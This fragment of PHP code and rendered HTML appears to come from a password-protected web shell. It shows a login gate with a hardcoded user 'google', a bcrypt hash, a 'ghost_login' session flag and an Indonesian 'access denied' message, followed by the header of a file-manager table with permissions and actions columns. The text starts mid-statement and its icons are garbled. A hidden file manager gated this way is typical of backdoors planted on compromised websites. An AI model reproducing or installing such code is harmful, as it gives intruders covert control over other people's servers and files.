true, 'use_strict_mode' => true ]); $LOGIN_USER = 'google'; $LOGIN_PASS_HASH = '$2a$12$.1VOJmF/jPruvgvOmnN7xe1nQ9O0LQmlOxkEirFEy0X22QmjgxCXe'; if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; } if (isset($_POST['login'])) { if ($_POST['username'] === $LOGIN_USER && password_verify($_POST['password'], $LOGIN_PASS_HASH)) { session_regenerate_id(true); $_SESSION['ghost_login'] = true; header("Location: ?"); exit; } else { $login_error = "Akses Ditolak!"; } } if (!isset($_SESSION['ghost_login'])): ?>
| Item Name | Size | Permissions | Timestamp | Actions |
|---|---|---|---|---|
| โคด .. / Parent Directory | ||||
| ๐ | DIR | |||
| ๐ | ||||